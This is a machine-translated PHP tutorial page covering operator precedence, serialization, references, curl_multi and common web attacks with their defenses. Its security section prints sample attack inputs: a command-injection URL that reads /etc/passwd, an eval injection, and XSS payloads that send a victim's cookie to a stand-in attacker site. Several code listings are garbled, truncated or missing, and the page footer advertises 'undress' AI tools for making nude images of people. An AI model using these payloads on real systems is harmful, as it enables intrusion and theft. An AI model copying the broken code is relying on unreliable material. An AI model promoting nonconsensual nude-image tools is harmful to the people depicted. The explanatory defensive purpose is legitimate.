Summary of precautions based on PHP programming_PHP tutorial
1. PHP’s implicit ternary operator (?:) priority issue:
Example 1:
$person = $who or $person = "laruence" ;
//Actually equivalent to:
$person = empty($who)? "laruence" : $who;
Example 2
$arr = array (1=>1,3=>3);
$i = 2;
$a = 'test' . isset($arr[$i]) ? $arr[$i] : $i;
What is $a? This question seems simple at first glance,
$a = ‘test2’;
In fact, after careful consideration and running, the result is notice: Undefined index 2..
Due to priority issues, the connector has a higher priority than the ternary operator.
The first is to judge ' test'. isset($arr[$i]) This string is always true, therefore:
$a = $arr[$i]; causing php to prompt a reminder.
2. PHP function names and class names are not case-sensitive, but variable names are case-sensitive.
So the php modules I write often have capitalization problems and fail to compile.
3. Serialized delivery problem
Compress complex data types into a string
serialize() Encode variables and their values into text form
unserialize() Restore original variables
$stooges = array('Moe','Larry','Curly');
$new = serialize($stooges) ;
print_r($new);echo "
";
print_r(unserialize($new));
Result: a:3:{i:0;s:3:"Moe";i:1;s:5:"Larry";i:2;s:5:"Curly";}
Array ([0] => Moe [1] => Larry [2] => Curly )
When these serialized data are placed in the URL and passed between pages, these data need to be Call urlencode() to ensure that the URL metacharacters in it are processed:
The settings of the margic_quotes_gpc and magic_quotes_runtime configuration items will affect the data passed to unserialize().
If the magic_quotes_gpc option is enabled, data passed in URLs, POST variables, and cookies must be processed with stripslashes() before deserialization:
$new_cart = unserialize(stripslashes($cart)); //If magic_quotes_gpc is turned on
$new_cart = unserialize($cart);
If magic_quotes_runtime is enabled, serialized data must be processed with addslashes() before writing to the file, and stripslashes() before reading them:
$fp = fopen('/tmp/cart','w');
fputs( $fp,addslashes(serialize($a)));
fclose($fp);
//If magic_quotes_runtime is turned on
$new_cat = unserialize(stripslashes(file_get_contents('/tmp/cart')) );
//If magic_quotes_runtime is turned off
$new_cat = unserialize(file_get_contents('/tmp/cart'));
Read from the database when magic_quotes_runtime is enabled Retrieving serialized data must also be processed by stripslashes(), and serialized data saved to the database must be processed by addslashes() so that it can be stored appropriately.
mysql_query("insert into cart(id,data) values(1,'".addslashes(serialize($cart))."')");
$rs = mysql_query('select data from cart where id=1');
$ob = mysql_fetch_object($rs);
//If magic_quotes_runtime is on
$new_cart = unserialize(stripslashes($ob->data));
//If magic_quotes_runtime is turned off
$new_cart = unserialize($ob->data);
When deserializing an object, PHP will automatically call its __wakeUp ()method. This allows the object to re-establish various states that were not preserved during serialization. For example: database connection, etc.
4. Reference notes
Reference in PHP means using different names to access the same variable content. The reference is not a C pointer (the pointer in C language stores the content of the variable. The address stored in memory) is another alias or mapping of the variable. Note that in PHP, variable names and variable contents are different, so the same content can have different names. The closest analogy is Unix's filenames and the files themselves - the variable names are the directory entries, and the variable contents are the files themselves. References can be thought of as tight links in a Unix file system or as shortcuts to wins.
1) Unset a reference, which just breaks the binding between the variable name and the variable content. This does not mean that the variable content is destroyed
For example: $b will not be unset, just $a.
$a = 1;
$b =& $a ;
unset ( $a );
echo $b; //Output: 1:
using unset($a) and $a=null The results are different. If the block of memory has only one mapping of $a, then unset($a) is equivalent to $a=null. The reference count of the memory becomes 0 and it is automatically recycled; if the block of memory has two mappings of $a and $b , then unset($a) will cause $a=null and $b remains unchanged, and $a=null will cause $a=$b=null.
Cause: Assigning a variable to null will cause the reference count of the memory block corresponding to the variable to be directly set to 0 and automatically recycled.
2) PHP references use reference counting and copy-on-write
Many people misunderstand that references in Php are the same as pointers in C. In fact, they are not, and they are very different. Except for the pointers in C language that do not need to be explicitly declared during the array transfer process, other points need to be defined using *. However, the pointer to address (similar to a pointer) function in PHP is not implemented by the user himself, but is implemented by the Zend core. Yes, the reference in PHP adopts the principle of "reference counting, copy-on-write" (Copy-on-Write, also abbreviated as COW), as the name suggests, it actually copies a copy of the memory when writing. Modify. )
That is, unless a write operation occurs, variables or objects pointing to the same address will not be copied, such as the following code:
$a = array('a','c'...'n' );
$b = $a;
If the program only executes here, $b and $b are the same, but they do not occupy different memory spaces like C, but Points to the same memory. This is the difference between PHP and C. It does not need to be written as $b=&$a to mean that $b points to the memory of $a. zend has already implemented the reference for you, and zend will help you very intelligently. It's up to you to decide when you should handle it this way and when you shouldn't handle it this way.
If you continue to write the following code later, add a function, pass parameters by reference, and print out the array size.
function printArray(&$arr) // Pass by reference
{
print(count($arr));
}
printArray($a);
In the above code, we pass the $a array into the printArray() function by reference. The zend engine will think that printArray() may cause changes to $a, and will automatically produce an $a for $b. Copy the data and re-apply a piece of memory for storage. This is the concept of "reference counting, copy-on-write" mentioned earlier.
Intuitive understanding: $a will use its own original memory space, while $b will use the newly opened memory space, and this space will use the original (before $a or $b changes) content space of $a Copy the content and then make corresponding changes.
If we change the above code to the following:
function printArray($ arr) // Value passing
{
print(count($arr));
}
printArray($a);
The above code directly passes $ When a value is transferred to printArray(), there is no reference transfer at this time, so copy-on-write does not occur.
5. Encoding issues
The program code uses UTF-8 code, but the strlen function calculates the number of bytes of the string instead of the number of characters?
$str = "Hello hello";
echo strlen($str);
Result: ANSI=9 and utf-8=11, utf-8 Chinese character encoding is 3 bytes. To get the number of characters, use mb_strlen().
6. Three ways to get parameters in PHP
Method 1 uses $argc $argv
if ($argc > 1){
print_r($argv);
}
Run /usr/local/php/bin/ from the command line php ./getopt.php -f 123 -g 456
Run result:
# /usr/local/php/bin/php ./getopt.php -f 123 -g 456
Array
(
[0] => ./ getopt.php
)
Method 2 uses getopt function ()
Copy code
Run /usr/local/php/ from the command line bin/php ./getopt.php -f 123 -g 456
Running results:
Array
[f] => 123
[g] => 456
)
Method 3: Prompt the user for input and then obtain the input parameters. A bit like C language
Copy code
Run /usr/local/ from the command line php/bin/php ./getopt.php
Running results
Enter your name: francis
7. PHP strings can be used as arrays, just like c pointer strings
Copy code
?>
The result is 10345
8. Efficient way to write PHP:
9. PHP security vulnerability:
There are mainly the following attack methods against PHP websites:
1. Command Injection
You can use the following 5 functions in PHP to execute external applications or functions: system, exec, passthru, shell_exec, "(same function as shell_exec)"
For example:
$dir = $_GET["dir"];
if (isset($dir)) {
us Submit http://www.test.com/ex1.php?dir=| cat /etc/passwd, the command becomes system("ls -al | cat /etc/passwd"); Our server user information was peeked Come on.
2. Eval Injection
Copy code
The code is as follows:?>
The vulnerability occurred when we submitted http://www.sectop.com/ex2.php?arg=phpinfo();
Methods to prevent command injection and eval injection
1) Try not to execute external commands.
2) Use custom functions or function libraries to replace the functions of external commands. Some servers even directly prohibit the use of these functions.
3) Use the escapeshellarg function to process command parameters. The esacpeshellarg function will escape any characters that cause the parameters or the end of the command. Single quotation marks "'" are replaced with "'", and double quotation marks """ are replaced with " "", semicolon ";" is replaced with ";"
3. Client-side script attack (Script Insertion)
Client-side script implantation attack steps
1). The attacker logs in to the website after registering as a normal user
2) Open the message page and insert the attack js code
3) Other users log in to the website (including administrators) and browse the content of this message
4). The js code hidden in the message content was executed, and the attack was successful
The form inputs some scripts that the browser can execute:
Insert <script>while(1){windows.open();}</script> infinite pop-up box
Insert<script>location.href="http://www.sectop.com";</script> Jump to the phishing page
The best way to prevent malicious HTML tags is to use htmlspecailchars or htmlentities Convert certain strings to html entities.
4. Cross Site Scripting (XSS)
Malicious attackers insert malicious HTML code into the Web page. When the user browses the page, the HTML code embedded in the Web will be executed, thereby achieving the special purpose of the malicious user.
Cross-site scripting is mainly used by attackers to read cookies or other personal data of website users. Once the attacker obtains this data, he can pretend to be this user to log in to the website and obtain this user's permissions.
General steps for cross-site scripting attacks:
1) The attacker sends the xss http link to the target user in some way, such as comment form:
Insert <script>document.location= “go.somewhere.bad?cookie=+“this.cookie</script>
Or link:
http://w w w.my.site/index.php?user=document.location="http://w w w.atacker.site/get.php?cookie="+document .cookie;
2) The target user logged in to this website and opened the xss link sent by the attacker during the login process
3), the website executed this xss attack script
4) The target user’s page jumps to the attacker’s website, and the attacker obtains the target user’s information
5) The attacker uses the target user’s information to log in to the website and complete the attack
The best way to prevent malicious HTML tags is to use htmlspecailchars or htmlentities to convert certain strings into html entities.
5. SQL injection attack (SQL injection)
The most effective defense against SQL injection is to use prepared statements:
Prepared statements (also called prepared statements) are a kind of query. They are first sent to the server for pre-compilation and preparation, and when the query is executed later, it is told where the parameters are stored.
The advantages:
1) Escape parameter values. So there is no need to call something like mysqli::real_escape_string or put the parameters in quotes.
2) When executed multiple times in a script, the performance of prepared statements is usually better than sending the query over the network each time. When a query is executed again, only the parameters are sent to the database, which takes up less space. .
1) Use PDO (PHP Data Objects):
PHP PDO::prepare () and execute()
$preparedStatement = $db->prepare('INSERT INTO table (column) VALUES (:column)');
$preparedStatement->execute( array(':column' => $unsafeValue));
2) Use mysqli:
$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?');
$stmt->bind_param('s', $ name);
$stmt->execute();
$result = $stmt->get_result();
while ($row = $result- >fetch_assoc()) {
// do something with $row
}
6. Cross Site Request Forgeries (CSRF)
7. Session Hijacking
8. Session Fixation
9. HTTP Response Splitting attack (HTTP Response Splitting)
10. File Upload Attack
11. Directory Traversal
12. Remote file inclusion attack (Remote Inclusion)
13. Dynamic Function Injection Attack (Dynamic Variable Evaluation)
14. URL attack
15. Spoofed Form Submissions
16. Spoofed HTTP Requests
Several important php.ini options: register_globals, magic_quotes, safe_mode. These options will be deprecated in PHP5.4.
register_globals:
php>=4.2.0, the default value of register_globals option in php.ini is Off by default. When register_globals
Whenis set to On, the program can receive various environment variables from the server, including variables submitted by the form, and because PHP does not have to initialize the value of the variable in advance, it leads to great security risks.
Make sure register_globals is disabled. If register_globals is enabled, it's possible to do careless things like use a $variable to replace a GET or POST string with the same name. By disabling this setting, PHP forces you to reference the correct variables in the correct namespace. To use variables from a form POST, $_POST['variable'] should be quoted. This way you won't mistake this particular variable for a cookie, session, or GET variable.
safe_mode:
Safe mode, PHP is used to restrict access to documents, restrict access to environment variables, and control the execution of external programs. To enable safe mode, safe_mode=On in php.ini must be set
magic_quotes
is used to automatically escape the input information of the PHP program. All single quotes ("'"), double quotes ("""), backslashes ("") and null characters (NULL) are automatically escaped. Add backslashes to escape magic_quotes_gpc=On to set magicquotes to On, which will affect HTTP request data (GET, POST, Cookies). Programmers can also use addslashes to escape submitted HTTP request data, or use stripslashes to remove the escaping
.
10. Concurrent use of curl with multiple requests
Everyone must have used curl, but it is estimated that there are not many concurrent uses. But it is indeed useful in some cases, such as calling multiple other party interfaces in the same request. Traditionally, we need a serial request interface:
file_get_contents('http://a.php');//1 second
file_get_contents('http://b.php');//2 seconds
file_get_contents('http://c.php');//2 seconds
It takes 5 seconds here, but by operating the muti method of curl, we can complete the request in just 2 seconds. There is a piece of code in the PHP manual:
$mrc = curl_multi_init();
//Send a request
.......
$active = null;
do {
$mrc = curl_multi_exec($mh, $active);
do while ($active && $mrc == CURLM_OK) {
if (curl_multi_select($mh) != -1) {
do {
$mrc = curl_multi_exec($mh, $ active);
; It is unreasonable, so you should control a concurrency number and add the remaining connections to the request queue:
Reference: How to use curl_multi() without blocking
Copy code
$connomains = array(
//2.php Get some yourself
"http://localhost/2.php?id=1",// sleep(1) seconds
"http://localhost/2.php?id=2",//sleep(2) seconds
"http://localhost/2.php?id=5", //sleep(5) seconds
);
$mh = curl_multi_init();
foreach ($connomains as $i => $url) {
$conn [$i] = curl_init($url);//Initialize each sub-connection
curl_setopt($conn[$i], CURLOPT_RETURNTRANSFER, 1);//Do not output directly to the browser
curl_multi_add_handle ($mh, $conn[$i]);//Add multi-processing handle
/Here $ ACTIVE will be rewritten to the current unprocessed number.
// All processed successful processed $ ACTIVE will become 0
$ Mrc = Curl_multi_exec ($ mh, $ activ);
// This is this The purpose of the cycle is to read and write as much as possible until it cannot continue to read and write (return CURLM_OK)
// Return (Curlm_call_multi_perform) means that he can continue to read and write from the Internet
} While ($ mrc == CURLM_Multi_perform). ;
During the waiting process, if there are any, return the number of handles that can currently be read and written, so that
//Continue the read and write operations, 0 means there are no handles that can be read and written (completed)
} while ($mrc==CURLM_OK&& $active &&curl_multi_select($mh)!=-1);//Until an error occurs or all reading and writing are completed
if ($mrc != CURLM_OK) {
print "Curl multi read error $mrc/n ";
}
// retrieve data
foreach ($connomains as $i => $url) {
if (($err = curl_error($conn[$i] )) == '') {
$res[$i]=curl_multi_getcontent($conn[$i]);
} else {
print "Curl error on handle $i: $err/n ";
}
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
}
curl_multi_close($mh);
print_r($res);
?>
Some people write like this to save trouble:
do { curl_multi_exec($mh,$active); } while ($active);
It seems that the result can be obtained, but in fact it is not rigorous and wastes CPU, because this loop will be called continuously until all links are processed. Add a print 'a' in the loop to see It worked.
11. Empty uses the magic method __get to determine whether the object attribute is empty but it does not work
Please note that results of empty() when called on non-existing / non-public variables of a class are a bit confusing if using magic method __get (as previously mentioned by nahpeps at gmx dot de). Consider this example:
Copy code The code is as follows:
class Registry
{
protected $_items = array();
public function __set($key, $value)
{
$this->_items[$key] = $value;
}
public function __get($key)
{
if (isset($this->_items[$key])) {
return $this->_items[$key];
} else {
return null;
}
}
}
$registry = new Registry();
$registry->empty = '';
$registry->notEmpty = 'not empty';
var_dump(empty($registry->notExisting)); // true, so far so good
var_dump(empty($registry->empty)); // true, so far so good
var_dump(empty($registry->notEmpty)); // true, .. say what?
$tmp = $registry->notEmpty;
var_dump(empty($tmp)); // false as expected
?>
12、Linux下命令行执行php文件的格式必须是unix。
php ./test.php
如果test.php是windos上传的,其格式可能是dos。
然后运行该命令就报错:Could not open input file
我们可以在vi中使用:set ff来查看格式:
fileformat=dos
如果是dos格式,那么就要使用:set ff=unix来设置新格式
再使用:set ff来查看格式,可以看到已经是unix的格式了;
fileformat=unix

PHP is mainly procedural programming, but also supports object-oriented programming (OOP); Python supports a variety of paradigms, including OOP, functional and procedural programming. PHP is suitable for web development, and Python is suitable for a variety of applications such as data analysis and machine learning.

PHP originated in 1994 and was developed by RasmusLerdorf. It was originally used to track website visitors and gradually evolved into a server-side scripting language and was widely used in web development. Python was developed by Guidovan Rossum in the late 1980s and was first released in 1991. It emphasizes code readability and simplicity, and is suitable for scientific computing, data analysis and other fields.

PHP is suitable for web development and rapid prototyping, and Python is suitable for data science and machine learning. 1.PHP is used for dynamic web development, with simple syntax and suitable for rapid development. 2. Python has concise syntax, is suitable for multiple fields, and has a strong library ecosystem.

PHP remains important in the modernization process because it supports a large number of websites and applications and adapts to development needs through frameworks. 1.PHP7 improves performance and introduces new features. 2. Modern frameworks such as Laravel, Symfony and CodeIgniter simplify development and improve code quality. 3. Performance optimization and best practices further improve application efficiency.

PHPhassignificantlyimpactedwebdevelopmentandextendsbeyondit.1)ItpowersmajorplatformslikeWordPressandexcelsindatabaseinteractions.2)PHP'sadaptabilityallowsittoscaleforlargeapplicationsusingframeworkslikeLaravel.3)Beyondweb,PHPisusedincommand-linescrip

PHP type prompts to improve code quality and readability. 1) Scalar type tips: Since PHP7.0, basic data types are allowed to be specified in function parameters, such as int, float, etc. 2) Return type prompt: Ensure the consistency of the function return value type. 3) Union type prompt: Since PHP8.0, multiple types are allowed to be specified in function parameters or return values. 4) Nullable type prompt: Allows to include null values and handle functions that may return null values.

In PHP, use the clone keyword to create a copy of the object and customize the cloning behavior through the \_\_clone magic method. 1. Use the clone keyword to make a shallow copy, cloning the object's properties but not the object's properties. 2. The \_\_clone method can deeply copy nested objects to avoid shallow copying problems. 3. Pay attention to avoid circular references and performance problems in cloning, and optimize cloning operations to improve efficiency.

PHP is suitable for web development and content management systems, and Python is suitable for data science, machine learning and automation scripts. 1.PHP performs well in building fast and scalable websites and applications and is commonly used in CMS such as WordPress. 2. Python has performed outstandingly in the fields of data science and machine learning, with rich libraries such as NumPy and TensorFlow.


Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

AI Hentai Generator
Generate AI Hentai for free.

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

Zend Studio 13.0.1
Powerful PHP integrated development environment

SecLists
SecLists is the ultimate security tester's companion. It is a collection of various types of lists that are frequently used during security assessments, all in one place. SecLists helps make security testing more efficient and productive by conveniently providing all the lists a security tester might need. List types include usernames, passwords, URLs, fuzzing payloads, sensitive data patterns, web shells, and more. The tester can simply pull this repository onto a new test machine and he will have access to every type of list he needs.

Dreamweaver CS6
Visual web development tools

ZendStudio 13.5.1 Mac
Powerful PHP integrated development environment